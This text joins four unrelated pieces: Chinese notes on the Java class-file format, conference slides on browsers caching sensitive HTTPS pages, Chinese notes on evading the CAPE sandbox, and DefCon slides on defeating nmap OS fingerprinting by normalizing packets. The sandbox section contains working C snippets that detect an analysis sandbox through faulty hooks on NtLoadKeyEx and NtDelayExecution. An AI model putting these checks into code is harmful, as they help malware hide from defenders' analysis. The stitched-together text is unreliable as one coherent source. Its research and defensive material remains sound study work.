魔数主要⽤于利⽤⽂件内容本⾝来标识⽂件的类型。class ⽂件的魔数为 0xcafebabe ,虚拟
机在加载类⽂件之前会先检验这 4 个字节,如果不是,那么会抛出
java.lang.ClassFormatError 异常。
java 之⽗ James Gosling 曾经写过⼀篇⽂章,⼤意是他之前常去的⼀家饭店⾥有个乐队经
常演出,后来乐队的主唱不幸去世,他们就将那个地⽅称为”cafedead“。当时 Gosling 正
在设计⼀些⽂件的编码格式,需要两个魔数,⼀个⽤于对象持久化,⼀个⽤于 class ⽂
件,这两个魔数有着相同的前缀”cafe“,他选择了 cafedead 作为对象持久化⽂件的魔
数,选择了 cafebabe 作为 class ⽂件的魔数。
2、版本号(minor&major version)
魔数之后的四个字节分别表⽰副版本号(Minor Version)和主版本号(Major Version)。
如: CA FE BA BE 00 00 00 34
那么主版本号为: 0x34=4x1+3x16=52
3、常量池(constant pool)
常量池是类⽂件中最复杂的数据结构。
对于 JVM 来说,如果操作数是常⽤的数值,⽐如 0,那么就会把这些操作数内嵌到字节码
中,⽽如果是字符串常量或者较⼤的整数时,class ⽂件会把这些操作数存储在常量池中,当
要使⽤这些操作数的时候,会根据常量池的索引位置来查找。
数据结构⽰意如下:
常量池分为两个部分,⼀是常量池⼤⼩(cp_info_count),意思常量池项(cp_info)集合。
常量池⼤⼩(cp_info_count)
常量池⼤⼩由两个字节表⽰。如果常量池⼤⼩为 n,那么常量池真正有效的索引是 1~n-1。0
属于保留索引,供特殊情况使⽤。
常量池项(cp_info)
常量池项最多包含 n-1个元素。因为 long 和 double 类型的常量会占两个字节,也就是说或⽤
两个索引位置,因此如果常量池中包含了这两种类型的变量,那么实际中的常量池的元素个
数会⽐ n-1要少。
常量池项(cp_info)的数据结构⽰意如下:
每个常量池项的第⼀个字节表⽰常量项的类型(tag),接下来的⼏个字节才表⽰常量项的具
体内容。
在 java 虚拟机中⼀共定义了 14 种常量项 tag 类型,这些常量名都以 CONSTANT开头,以
info 结尾。
struct{
u2 constant_pool_count;
cp_info constant_poll[constant_pool_count-1];
}
cp_info{
u1 tag;
u2 info[];
}
常量类型
值
描述
CONSTANT_Utf8_info
1
utf-8 编码的字符串
CONSTANT_Integer_info
3
表⽰ int 类型常量;boolean、byte、short、chart
CONSTANT_Float_info
4
表⽰ float 类型量
CONSTANT_Long_info
5
长整型字⾯量
CONSTANT_Double_info
6
双精度型字⾯量
CONSTANT_Class_info
7
表⽰类或接⼜
CONSTANT_String_info
8
java.lang.String 类型的常量对象
CONSTANT_Fieldref_info
9
字段信息表
CONSTANT_Methodref_info
10
⽅法
CONSTANT_InterfaceMethodref_info
11
接⼜⽅法
CONSTANT_NameAndType_info
12
名称和类型表
CONSTANT_MethodHandle_info
15
⽅法句柄表
CONSTANT_MethodType_info
16
⽅法类型表
CONSTANT_InvokeDynamic_info
18
动态⽅法调⽤点
① CONSTANT_Utf8_info:
CONSTANT_Utf8_info存储了 MUTF-8 编码的字符串,结构如下
值得⼀提的是,作者在书中解释了MUTF-8和 UTF8 的细微区别,同时也侧⾯告诉了读者为何
字符串在class⽂件中是以MUTF-8编码⽽没有⽤标准的UTF-8编码。
CONSTANT_Utf8_info {
u1 tag; // 值固定为 1
u2 length; // 值为bytes数组的⻓度
u1 bytes[length]; // 采⽤ MUTF-8 编码的⻓度为 length 的字节数组
}
书中提到,MUTF-8编码⽅式和UTF-8⼤致相同,但并不兼容。差别有两点:
第⼀,MUTF-8 ⾥ null 字符(代码点U+0000)会被编码成 2 字节:0xC0、0x80;在标准的
UTF-8 编码中只⽤⼀个直接 0x00 表⽰。我们知道,在其他语⾔,⽐如 C 语⾔中,会把空字
符当做字符串结束字符(通常我们所谓的%00 截断等原理就是如此),⽽采⽤了 MUTF-8 编
码后,这种处理空字符的⽅式保证了字符串中不会出现空字符,在 C 语⾔处理的时候就不会
发⽣意外截断。
第⼆,MUTF-8 只⽤到了 UTF-8 编码中的单字节、双字节、三字节表⽰⽅式,没有⽤到 4 字
节表⽰⽅式,对于编码在 U+FFFF 之上的字符,java 使⽤了”代理对“通过 2 个字符表⽰,⽐
如 emoji 表情笑哭
,其代理对为 \ud83d\ude02 。
第⼀点⽐较好理解,第⼆点要理解起来就必须了解 UTF-8 中的单字节、双字节、三字节、四
字节表⽰⽅式具体是什么。下⾯简单说说。
单字节
范围: 0x0001 ~ 0x007F ,UTF-8 ⽤⼀个字节来表⽰:
0000 0001 ~ 0000 007F -> 0xxxxxxx
即,英⽂字母的 ASCII 编码和 UTF-8 编码的结果⼀样。
双字节
范围: 0x0080 ~ 0x07FF ,UTF-8 ⽤两个字节来表⽰:
0000 0080 ~ 0000 07FF -> 110xxxxx 10xxxxxx
即,把第⼀字节的 110 去除,第⼆字节的 10 去除,然后把剩下的 x 组成新的两字节数据。
三字节
范围: 0x0800 ~ 0xFFFF ,UTF-8 ⽤三个字节表⽰:
0000 0800 ~ 0000 FFFF -> 1110xxxx 10xxxxxx 10xxxxxx
即,把第⼀字节的 1110 去掉、第⼆字节的 10 去掉、第三字节的 10 去掉,然后把剩下的 x
组成新的三字节数据。
四字节
范围: 0001 0000 ~ 0010 FFFF ,UTF-8 ⽤四个字节表⽰:
0001 0000 ~ 0010 FFFF -> 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
即,把第⼀字节的 11110 去掉,第⼆字节的 10 去掉,第三字节的 10 去掉,第四字节的 10
去掉,然后把剩下的 x 组成新的四字节数据。
举例:
机 的 unicode 编码 为 0x673A(0110 0111 0011 1010)
由于 0x673A 在三字节范围,因此⽤三字节表⽰,如下:
0110 0111 0011 1010
↓
1110 xxxx 10xx xxxx 10xx xxxx
( xxxx=0110 ) ↓ ( 10xx=1001 、 xxxx=1100 、 10xx=1011 、 xxxx=1010 )
1110 0110 1001 1100 1011 1010
填⼊的 x 为: 011 001110 0111010
得到UTF-8 编码为 0xE69CBA
回到前⾯,我们知道 emoji 表情笑哭
代理对为 \ud83d\ude02 ,即:
D83D DE02 ,如果我们定义:
那么打开编译后的 class ⽂件可以看到, emoji 表情笑哭
表⽰为:
01 00 06 ED A0 BD ED B8 82
01 表⽰常量项 tag, 00 06 表⽰ byte 数组的长度,即后⾯ 6 字节 ED A0 BD ED B8 82 表
⽰的是emoji 表情笑哭
public final String y = "\ud83d\ude02";
ED A0 BD 对应的⼆进制为 11101101 10100000 10111101 ,由于是三字节,因此去掉第
⼀字节的 1110 、第⼆字节的 10 ,第三字节的 10 ,剩下的是 1101100000111101 ,换算
成⼗六进制为: 0xD83D
同理, ED B8 82 经过相同的运算可以得到 0xDE02 ,采⽤代理对即表⽰
为: \ud83d\ude02
值得⼀提的是,我查阅资料的时候发现 Java序列化机制使⽤的也是 MUTF-8 编
码。 java.io.DataInput 和 java.io.DataOutput 接⼜分别定义了 readUTF() 和
writeUTF() ⽅法,可以⽤于读写 MUTF-8编码的字符串。
② CONSTANT_Integer_info:
表⽰ int 类型的常量。但是 boolean、byte、short 以及 char 类型的变量,在常量池中也会被当
成 Int 来处理。
③ CONSTANT_Float_info:
表⽰ float 类型的常量。
④ CONSTANT_Long_info:
表⽰ long 类型的常量
⑤ CONSTANT_Double_info:
表⽰ double 类型的常量
⑥ CONSTANT_Class_info:
表⽰类或者接⼜。
⑦ CONSTANT_String_info:
表⽰ java.lang.String 类型的常量对象,其与 CONSTANT_Utf8_info 的区别
是 CONSTANT_Utf8_info 存储了字符串真正的内容,⽽ CONSTANT_String_info 不包含字
符串的内容,仅仅包含⼀个常量池中 CONSTANT_Utf8_info 常量类型的索引。
⑧ CONSTANT_Fieldref_info:
指向 CONSTANT_Class_info 常量池索引值,表⽰⽅法所在的类信息。
⑨ CONSTANT_Methodref_info:
⽤来描述⼀个⽅法。
⑩ CONSTANT_InterfaceMethodref_info:
指向 CONSTANT_NameAndType_info 常量池索引值,表⽰⽅法的⽅法名、参数和返回类型。
⑪ CONSTANT_NameAndType_info:
表⽰字段或者⽅法。
⑫ CONSTANT_MethodHandle_info、CONSTANT_MethodType_info、
CONSTANT_InvokeDynamic_info:
CONSTANT_MethodHandle_info 表⽰⽅法句柄,⽐如获取⼀个类静态字段,实例字段,调
⽤⼀个⽅法,构造器等都会转化成⼀个句柄引⽤。
CONSTANT_MethodType_info 表⽰⼀个⽅法类型。
CONSTANT_InvokeDynamic_info 表⽰动态调⽤指令引⽤信息。
作者在书中提到,这三个是从 JDK1.7开始为了更好地⽀持动态语⾔调⽤⽽新增的常量池类
型,经过我的搜索也没发现有什么特别有⽤的信息,有的博主提到,这新增的三个常量池项
只会在极其特别的情况能⽤到它,在class⽂件中⼏乎不会⽣成;也有博主详细介绍了该类型
的结构及值,可以参考:https://juejin.cn/post/6844903950777319432#heading-17
作者在书中主要提到了 CONSTANT_InvokeDynamic_info ,该类型主要作⽤是为
invokedynamic 指令提供启动引导⽅法。结构如下:
第⼀部分 tag 为固定值 18;第⼆部分 bootstrap_method_attr_index 是指向引导⽅法
表 bootstrap_method[] 数组的索引;第三部分 name_and_type_index 为指向索引类常
量池⾥的 CONSTANT_NameAndType_info d的索引,表⽰⽅法描述符。
CONSTANT_InvokeDynmic_info{
u1 tag;
u2 bootstrap_method_attr_index;
u2 name_and_type_index;
}
标志名
标志值
标志含义
针对的对像
ACC_PUBLIC
0x0001
public类型
所有类型
ACC_FINAL
0x0010
final类型
类
ACC_SUPER
0x0020
使⽤新的invokespecial语义
类和接⼜
ACC_INTERFACE
0x0200
接⼜类型
接⼜
ACC_ABSTRACT
0x0400
抽象类型
类和接⼜
ACC_SYNTHETIC
0x1000
该类不由⽤户代码⽣成
所有类型
ACC_ANNOTATION
0x2000
注解类型
注解
ACC_ENUM
0x4000
枚举类型
枚举
可以看实际例⼦来了解这个,参考:https://blog.csdn.net/zxhoo/article/details/38387141
4、访问标记(access flag)
访问标记主要⽤来标识⼀个类为 final、abstract、public 等。其由两个字节表⽰,16 个标记为
可供使⽤,⽬前使⽤了其中 8 个标识位,如下图所⽰。
完整的访问标记含义如下表:
值得注意的是,类访问标记是可以组合的,如⼀个类的访问标记
为 0x0021(ACC_SUPER|ACC_PUBLIC) ,表⽰的是⼀个 public 类。但组合也是有条件的,像
ACC_PUBLIC 就不能和 ACC_PRIVATE 同时设置, ACC_FINAL 和 ACC_ABSTRACT 也不能同时
设置,否则就违背了 java 的基本语义。
这⽅⾯的源码可以在 javac 源码中的 com.sun.tools.javac.comp.Check.java 中找到。
5、类索引(this class)&& 超类索引(super class)&& 接⼜表索引
(interface)
这三部分是⽤来确定类继承关系的⽂件结构,其中 this class 表⽰类索引, super
class 表⽰直接⽗类的索引, interfaces ⽤来描述这个类实现了哪些接⼜。通常这三部分
都是指向常量池的索引,各⾃代表不同的表⽰,如类、接⼜、超类等
6、字段表(field)
字段表( field )⽤于存储类中定义的字段,包括静态和⾮静态类。 其结构伪代码表⽰如
下:
在上述的结构中, fields_count ⽤于表⽰ field 的数量, fields 表⽰字段集合,共
有 fileds_count 个,每⼀个字段⽤ field_info 结构表⽰。所以就来看看 filed_info
的结构:
{
u2 fields_count;
field_info fields[fileds_count];
}
filed_info{
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
标志名
标志值
标志含义
ACC_PUBLIC
0x0001
public类型
ACC_PRIVATE
0x0002
private 类型
ACC_PROTECTED
0x0004
protected 类型
ACC_STATIC
0x0008
static 类型
ACC_FINAL
0x0010
final类型
ACC_VOLATILE
0x0040
volatile 类型,⽤于解决内存可见性问题
ACC_TRANSIENT
0x0080
transient 类型,被其修饰的字段默认不会序列化
ACC_SYNTHETIC
0x1000
该类由编译器⾃动⽣成,不由⽤户代码⽣成
ACC_ENUM
0x4000
枚举类型
如上,可以看到 filed_info 的结构分为四个部分,第⼀部分是 access_flags ,表⽰字
段的访问标记,如可以⽤该字段去区别某⼀个字段是否
是 public 、 private 、 protected 、 static 等类型;第⼆部分是 name_index ⽤来表
⽰字段名,指向常量池中的字符串常量;第三部分 descriptor_index 表⽰字段描述符的索
引,同样指向常量池中的字符串常量;最后⼀部分由 attributes_count 和
attribute_info 组成,分别表⽰属性的个数和属性的集合。
第⼀部分的访问标记和类⼀样,不过与类那块的内容相⽐,字段的访问标记更加丰富,共有
九种
⽐如在类中定义了字段
编译后 DEFAULT_SIZE 字段在雷⽂杰中存储的访问标记值为 0x0019
这个值是由 ACC_PUBLIC | ACC_STATIC | ACC_FINAL 组成,表明其是⼀个 public static
final 类型的变量。
public static final int DEFAULT_SIZE = 128
⼀个字段在内存中默认如下:
则 public static final 类型为:
所以 ⼆进制的 0001 1001 转换为 ⼗六进制为 0x0019 ,也正是该标记值的由来
和类访问标记⼀样,字段的标记也不是随意组合的,⽐如 ACC_FINAL 和
ACC_VOLATILE 不可以同时设置
第三部分的字段描述符也值得具体学习⼀下。
字段描述符⽤来表⽰某个字段的类型,在 JVM 中定义⼀个 int 类型的字段时,类⽂件中储存
的类型不是字符串 int,⽽是更精简的字母 I,因此根据字段类型的不同,字段描述符分为三
⼤类:
原始类型:byte、int、char、float 等这些类型使⽤⼀个字符来表⽰,⽐如 J 对应的long 类
型,B 对应的是 byte 类型(如果对序列化熟悉的朋友,⼀定知道这⾥其实和序列化中的基
础类型字段是相同的)
引⽤类型使⽤ L; 的⽅式来表⽰,为了防⽌多个连续的引⽤类型描述符出现混淆,引⽤
类型描述符最后都加了⼀个 ; 作为结束,⽐如字符串类型 String 的描述符为
Ljava/lang/String;
JVM 使⽤⼀个前置的 [ 来表⽰数组类型,如 int[] 类型的描述符为 [I ,字符串数组
String[]的描述符为 [Ljava/lang/String; ,⽽多为数组描述符知识多加了⼏个 [ ⽽已,⽐如
Object[][][] 类型的描述符为 [[[Ljava/lang/Object; (这⾥是不是感到很熟悉,是的,我们
曾经在 fastjson 1.2.25-1.2.41版本的利⽤的就是在类加上L开头;结尾,来达到绕过所有⿊名
单的⽬的)
7、⽅法表(method)
⽅法表的作⽤和字段表很类似,类中定义的⽅法会被存储在这⾥。⽅法表也是⼀个变长结
构,如下:
methods_count 表⽰⽅法的数量,methods 表⽰⽅法的集合,共有methods_count个,每⼀个⽅
法⽤method_info结构表⽰
method_info 的结构如下:
method_info 的结构分为四个部分:第⼀部分 access_flags 表⽅法的访问标记、name_index表
⽰⽅法名、
descriptor_index 表⽰⽅法描述符的索引值、attributes_count表⽰⽅法相关属性的个数、
attribute_info表⽰相关属性的集合,结构⽰意图如下:
⽅法的访问标记⽐类和字段的访问标记类型更丰富,⼀共有 12 种,如下表:
{
u2 methods_count;
method_info methods[methods_count];
}
{
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
标志名
标志值
标志含义
ACC_PUBLIC
0x0001
public类型
ACC_PRIVATE
0x0002
private 类型
ACC_PROTECTED
0x0004
protected 类型
ACC_STATIC
0x0008
static 类型
ACC_FINAL
0x0010
final类型
ACC_SYNCHRONIZED
0x0020
synchronize 类型
ACC_BRIDGE
0x0040
bridge ⽅法,由编译器⽣成
ACC_VARARGS
0x0080
⽅法包含可变长度参数,⽐如 String... args
ACC_NATIVE
0x0100
native 类型
ACC_ABSTRACT
0x0400
abstract 类型
ACC_STRICT
0x0800
strictfp 类型,表⽰使⽤ IEEE-754 规范的精确浮点
数,极少使⽤
ACC_SYNTHETIC
0x1000
表⽰这个⽅法由编译器⾃动⽣成,⾮⽤户代码编译
⽣成
⽐如⼀个⽅法如下所⽰ :
在⽣成的类⽂件中,foo ⽅法的访问标记值为 0x002a
这个值是由 ACC_PRIVATE | ACC_STATIC | ACC_SYNCHRONIZED 组成,表明这是⼀个
private static synchronized⽅法
⼀个⽅法在内存中默认如下:
private static synchronized void foo(){
}
则 private static synchronized⽅法为:
所以 ⼆进制的 0010 1010 转换为 ⼗六进制为 0x002a ,也正是该标记值的由来
同前⾯的字段访问标记⼀样,不是所有的⽅法访问标记都可以随意组合设置
最后提⼀点的是⽅法描述符,在前⾯学了字段描述符,⽅法描述符其实和字段描述符还是很
像的,其格式如下:
(参数1类型 参数2类型 参数3类型 ... )返回值类型
⽐如⽅法 Object foo(int i,double d, Thread t) 的描述符为
(IDLjava/lang/Thread;)Ljava/lang/Object; 其中,I 表⽰第⼀个参数 i 的参数类型 int ,D 表
⽰第⼆个参数 d 的类型 double,Ljava/java/Thread; 表⽰第三个参数 t 的类型
Tread,Ljava/lang/Object; 表⽰返回值类型为 Object ,如下图所⽰:
8、属性表(attribute)
属性表是 class ⽂件的最后⼀部分内容,属性出现的地⽅⽐较⼴泛,除了字段和⽅法中,在顶
层的 class ⽂件中也会出现。属性表的类型很灵活,不同的虚拟机实现⼚商可以⾃定义属性,
属性表的结构如下:
和其他结构类似,属性表使⽤两个直接来表⽰属性的个数 attributes_count,接下来是若⼲个属
性项的集合,可以看做是⼀个数组,数组的每⼀项都是⼀个属性项 attribute_info,数组的⼤⼩
为attributes_count,attribute_info结构如下:
{
u2 attributes_count;
attribute_info attributes[attributes_count];
}
attribute_name_index 是指向常量池的索引,根据这个索引可以找到 attribute 的名字,接下来
的两部分表⽰ info 数组的长度和具体 byte 数组的内容。
虚拟机⾥预定义了 20 多种属性,书⾥介绍了两种属性—— ConstantValue 属性以及 Code 属
性。
对于 ConstantValue 属性,书上给出的介绍是其出现在字段 field_info 中,⽤来表⽰静态变量
的初始值
对于 Code 属性,书上给出的介绍是该属性是类⽂件中最重要的组成部分,它包含⽅法的字节
码,除 native 和 abstract ⽅法外,每个 method 都有且仅有⼀个 Code 属性,并且 Code属性只
作⽤于⽅法表中,其结构如下:
{
u2 attribute_name_index;
u4 attribute_length;
u1 info[attribute_length];
}
Code_attribute{
u2 attribute_name_index;
u4 attribute_length;
u2 max_stack;
u4 code_length;
u1 code[code_length];
u2 exception_table_length;
{
u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;
} exception_table[exception_table_length];
u2 attributes_count;
attribute_info attributes[attributes_count];
}
attribute_name_index 表⽰属性的名字,attribute_length表⽰属性值的长度,max_stack表⽰ 操
作数栈的最⼤深度,虚拟机运⾏的时候需要根据这个值来分配栈帧中的操作栈深度。它的计
算规则是:有⼊栈的指令 stack 增加,有出栈的指令 stack 减少,在整个过程中 stack 的最⼤
值就是 max_stack 的值,增加和减少的值⼀般都是 1,但也有例外,⽐如 LONG 和 DOUBLE
相关的指令⼊栈 stack 会增加 2,VOID 相关的指令是 0。
max_locals 表⽰局部变量表的⼤学,他的值并不等于⽅法中所有局部变量的数量值和。当⼀
个局部作⽤域结束,它内部的局部变量占⽤的位置就可以被接下来的局部变量复⽤。
code_length和 code ⽤来表⽰字节码相关的信息,code_length 存储了字节码指令的长度,占⽤
4 个字节,虽然长度是4个字节(表⾯也就是说字节码指令的长度可以达到2^32-1),但实际上
Java虚拟机规定了⽅法体中的字节码指令最多有65535条。在code属性中存储了Java⽅法体经
过编译后Java的字节码指令,具体的字节码指令可以不⽤强记,在使⽤的时候根据字节码去
查表就可以,具体可以参考:https://www.cnblogs.com/longjee/p/8675771.html
exception_table_length 和 exception_table ⽤来表⽰代码内部的异常表信息,其中start_pc、
end_pc、handler_pc都是指向 code 字节数组的索引值,start_pc和end_pc表⽰异常处理器覆盖
的字节码开始和结束的位置,是左闭右开区间[start_pc,end_pc),即包含 start_pc,不包含
end_pc。handler_pc表⽰异常处理 handler 在 code 字节数组的起始位置,异常被捕获以后该跳
转到何处继续执⾏。
catch_type表⽰需要处理的 catch 的异常类型是什么,⽤ 2 个字节表⽰,指向常量池中的类型
为 CONSTANT_Class_info 的常量项。如果 catch_type 为0,表⽰可处理任意异常。
当 JVM 执⾏到某个⽅法的[start_pc,end_pc)范围内的字节码发⽣异常时,如果发⽣的异常是这
个 catch_type 对应的异常类或者它的⼦类,则跳转到 code 字节数组handler_pc处继续处理。
此外,书上还给出了 code 属性结构,⽐较直观,有兴趣的朋友可以⾃⾏看书。
作者在第⼀章的最后介绍了 javap 查看类⽂件的使⽤技巧,这个互联⽹上有很多资料,⽐
如:https://blog.csdn.net/jkli52051315/article/details/83943473
0x03 总结
作者第⼀章主要介绍了 class ⽂件的内部结构,收获还是挺多的,基础性的知识,学习再多也
不为过
后⾯继续学习这本书并分享⾃⼰的学习笔记 | pdf |
C.R.E.A.M.
C.R.E.A.M. –– Cache Rules Evidently
Cache Rules Evidently
Ambiguous, Misunderstood
Ambiguous, Misunderstood
Jacob Thompson
Security Analyst
Independent Security Evaluators
[email protected]
Payroll Statement from ADP
• Name
• Address
• Last four of SSN
• Last four of bank acct.
Prescription Claims from Argus
• Name
• Medication names
and dosages
Credit Report from Equifax
• Name
• Credit score
• Credit report
Types of Cached Sensitive Data
• Name
• Postal Address
• Email Address
• Phone Number
• Date of birth
• Last 4 digits of SSN
• Bank account
numbers
• Check images
• Credit card account
numbers
• Stock positions and
balances
• Insurance policy
numbers, amounts
• VINs
• Life insurance
beneficiaries
• Medical prescriptions
Reliably Prevent Disk Caching
• Use two HTTP headers (not meta tags):
• Pragma: no-cache
– IE 8 and earlier with HTTP/1.0 servers
• Cache-Control: no-store
– All other cases
How to Fail at Preventing Caching
• Cache-Control: no-cache
– Not standard
– Works in IE 4-9
– Broken in IE 10
• Pragma: no-cache
– Only works in IE
• Cache-Control: private
– Not for browsers
• Cache-Control in meta tags
– Not recognized in any browser
• Cache-Control with HTTP/1.0
– Broken in IE 4-8
History of Disk Caching Policies
• Never cache HTTPS
– Netscape 1, 3+
– Mozilla
– Firefox 1, 2
– Safari
• Opt-in
– Firefox 3, 3.5
• Non-standard opt-out
– Netscape 2
– IE 3
• Generous opt-out
– IE 4-8
– IE 9
– IE 10
• Strict standards
compliance
– Chrome
– Firefox 4+
Misunderstandings of Caching
• Google:
– “browsers do not cache ssl”
– “browsers do not cache https”
Browser Developers
• Favorite quote from Mozilla bug 531801:
I’m on MoCo’s security team :)
Among sites that don’t use cache-control:no-store,
the correlation between “SSL” and “sensitive” is very
low.
Recommendations
• Update web standards
• Fix web applications
• Fix bad documentation
• Fix browsers (maybe?)
• Try our demo site for yourself:
https://demo.securityevaluators.com
Questions?
• Full report:
http://securityevaluators.com/content/case-studies/caching/
• Demo:
https://demo.securityevaluators.com/
A History Lesson
• 1995
– Netscape 1 does not disk cache HTTPS
content
• 1996
– Netscape 2 is opt out: caches unless Pragma:
no-cache header or meta tag is set
– IE 3 copies Netscape opt-out behavior
– Netscape 3 reverts, does not cache by default
A History Lesson (cont.)
• 1997
– RFC 2068 introduces Cache-Control header
– IE 4 supports Cache-Control when sent by an
HTTP/1.1 server
– Cache-Control: no-cache prevents disk caching in IE
– Pragma: no-cache remains supported
• 1998
– Mozilla scraps Netscape code; begins rewrite
– Pragma: no-cache support lost in rewrite
A History Lesson (cont.)
• 2000
– Netscape 6 released, does not cache
– Pragma: no-cache is lost (but no one notices)
– Apache SSL bug workaround introduced;
breaks Cache-Control support in IE 4-8
• 2003
– Safari released; never caches
A History Lesson (cont.)
• 2008
– Firefox 3 is opt-in: caches only if Cache-
Control: public is set
– Chrome is opt-out: caches unless Cache-
Control: no-store is set
– Chrome does not support Pragma: no-cache
• 2010
– Apache trunk patched; Cache-Control breakage
now restricted to IE 4, 5
A History Lesson (cont.)
• 2011
– Firefox 4 adopts Chrome’s opt-out caching by default
– IE 9 accepts Cache-Control headers over HTTP/1.0
• 2013
– IE 10 caches despite Cache-Control: no-cache
– ISE tests 30 HTTPS sites; 21 fail to set
Cache-Control: no-store on sensitive data
– IE 8 Cache-Control support still broken by Apache
software in latest CentOS | pdf |
关于沙箱逃避的一些 Tips:
https://research.checkpoint.com/2022/invisible-cuckoo-cape-sandbox-evasion/
@Check Point 发布了关于沙箱逃避的一些分析,这个公司听起来有点陌生,知名项目 Evasion
techniques就是它们出品。
常见的一些规避沙箱技巧:
汇编指令检测(比如使用 cpuid 指令来获取处理器信息来区分沙箱)
检测注册表项(正常环境中没有,但是特定的虚拟环境中存在)
文件系统检测(正常环境中没有,但是特定的虚拟环境中存在)
@Check Point 发现的一些新的规避沙箱的技巧:
Windows API 函数调用中的漏网之鱼
沙箱为了检测关键的系统调用,通常会将 ntdll.dll 中的 Native 函数进行 Hook ,但是这些 Hook 并不是
完美的 Hook 。
比如 NtLoadKeyEx 函数 在 Windows Server 2003 中引入,只有 4 个参数;但是在Windows Vista 到
最新版本的 Windows 10中,这个函数有着 8 个参数,沙箱(文中是 CAPE沙箱)的 Hook 函数原型 仍
然按照 4 个参数进行处理。
如果在沙箱中使用最新的系统,则该函数一定会出现异常,由于参数数量不对,会导致堆栈不平衡。
具体到代码中:
沙箱没有对 Hook 函数的参数进行足够的检查。
__try
{
_asm mov old_esp, esp
NtLoadKeyEx(&TargetKey, &SourceFile, 0, 0, 0, KEY_ALL_ACCESS, &hKey,
&ioStatus);
_asm mov new_esp, esp
_asm mov esp, old_esp
if (old_esp != new_esp)
printf("Sandbox detected!"); //堆栈不平衡,可以确认在沙箱中
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Sandbox detected!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
__declspec(align(4)) BYTE aligned_bytes[sizeof(LARGE_INTEGER) * 2];
DWORD Timeout = 10000; //10 seconds
PLARGE_INTEGER DelayInterval = (PLARGE_INTEGER)(aligned_bytes + 1);
//unaligned
//地址未对
齐
DelayInterval->QuadPart = Timeout * (-10000LL);
if (NtDelayExecution(TRUE, DelayInterval) != STATUS_DATATYPE_MISALIGNMENT)//
沙箱仅保存了DelayInterval,未返回正确的值
printf("Sandbox detected");
1
2
3
4
5
6
7
8
if (NtDelayExecution(FALSE, (PLARGE_INTEGER)0) != STATUS_ACCESS_VIOLATION) //
指针值故意给出无效的地址,沙箱不会返回错误值
printf("Sandbox detected");
1
2 | pdf |
DefCon 21, Las Vegas 2013
Let’s Screw With nMap
Gregory Pickett, CISSP, GCIA, GPEN
Chicago, Illinois
[email protected]
Hellfire Security
Overview
Nosey Bastards!
All About Packet Normalization
Working It All Out
Putting It Into Practice
Finishing Up
Network Defenders
We see scans and probes of our network every
day
From the inside and from the outside
Everybody is targeting us
Identifying our assets
How They Do It
Network stack implementation is highly
discretionary
Differences identify the operating system type
and version
Allowing Attackers to identify their targets
By matching the headers of their target to known
operating system implementations
… then it’s likely a
Windows 2003
Sever!
Uses the following
options
MSS of 1460
Single NOP
Window Size 0
Single NOP
Single NOP
Ending SACK
If your target …
Has a TTL of 128
Implications
If they identify your assets …
They know their weaknesses
How to attack them successfully
Without triggering your sensors
TSA-Style patdowns …
It’s fact of life
But does it have to be?
Why can’t we …
Remove the differences
To remove their advantage
Strip them of their ability to fingerprint
To significantly reduce their chance of success
My Answer
Packet
ization
OK. What is packet normalization?
Had anyone thought of this before?
Not an entirely developed concept
Many expressions but most incomplete …
Normalization vs. Scrubbing
Scrubbing is to do away with; cancel
Normalization is to make normal, especially to
cause to conform to a standard or norm
Both are seen in varying degrees
Scrubbing
Used by a number of firewalls
Randomize IP ID
Clear IP DF
Also …
Set IP tos/dscp, and ttl
IP Fragment Reassembly
Primarily Concern
Policy Violations
Abnormal Packets
Abnormal Flows
Scrubbing
Custom patch for netfilter
Random IP ID
Randomize TCP Timestamp
Randomize TCP SEQ
Clear IP tos/dscp
IP TTL Tinkering
Developed by Nicolas Bareil
Mentions fingerprint prevention
Host Only
Scrubbing
Used by some network devices such as Cisco ACE and
ASA
Random TCP SEQ
Clear TCP Reserved, and URG
Clears TCP Options
Minimum IP TTL
Fragment Reassembly too …
Primarily Concern
Policy Violations
Abnormal Packets
Abnormal Flows
Incoming Normalization
Used by IPS and IDS devices
IP Fragment Reassembly
IP TTL Evasion
Primarily Concern
Detect Attacks
Detection Evasion
Outgoing Normalization?
Fingerprinting Process
TCP, UDP, and ICMP probes are sent
Compile results into fingerprint
Compare against database
Identify operating system
Where to Start?
Nmap fingerprint database
What about other fingerprinting tools?
xprobe2
amap
Vulnerability scanners … Nessus, Et. Al
Best to disrupt any existing patterns
Clear out any unnecessary values
IP ToS/DCSP/Traffic Class Cleared
IP ECN Cleared
TCP URG Flag and URG Pointer Cleared
Randomize anything that you can
IP ID
IP TTL/HOP Limit? TCP Options?
Scrubbing
Packet Normalization
Outgoing Normalization
Normalizing
(IP Time-To-Live / Hop Limit)
Make some assumptions
Originally Well-Known TTL
Decrements Only
Traveled < 32 hops
Back into Original Starting TTL
Estimate number of hops traveled
Recalibrate current TTL
Using Starting TTL of 255
Normalizing
(IP Time-To-Live / Hop Limit)
Start with the lowest well known TTL first!
Several exceptions to this normalization …
Will be discussed later
Normalizing
(TCP Options)
Assumptions
Only Few Well Known Options Needed
Order is unimportant
Requirement …Values can’t be changed
Read necessary options
Discard the rest
Rewrite options in proper order
NOP … till the end of the options
Normalizing
(TCP Options)
Options selected … And their order
MSS
Window
SACK
MD5 … if present
After processing …
Making everyone look the same
Putting It All Together
With IDGuard
Selecting The Platform
Identified Suitable Hardware
Already Modified By Others
Documentation Available … Mikrotik Routerboards
Identified Suitable Operating System
Available Base
Writeable File System …OpenWrt
Best to develop in a VM first!
Building the Development Environment
Download Debian v6.0 Net-install CD-ROM
Build a VMWare VM
Install rcp100 from Sourceforge
Configure rcp100 routing functions
Building the Development Environment
Configuring the Development Environment
Deploying the Kernel Module
Download IDguard v0.50
Install IDGuard
Deploying the Kernel Module
OK … What worked?
I am really tired of those nosey bastards!
What Didn’t Work
ToS/DCSP/Traffic Class Clearing
ECN Clearing
URG Flag and URG Pointer Clearing
IP ID Randomization
DF Clearing
… the Scrubbing
What Worked
TTL Standardizing
TCP Option Standardizing
… the Normalization
End Results
Operating System
Unprotected
Protected
Windows 7
Microsoft Windows 7|2008
Windows Server 2003
Microsoft Windows 2003
Ubuntu Desktop 11.10
Linux 2.6.X|3.X
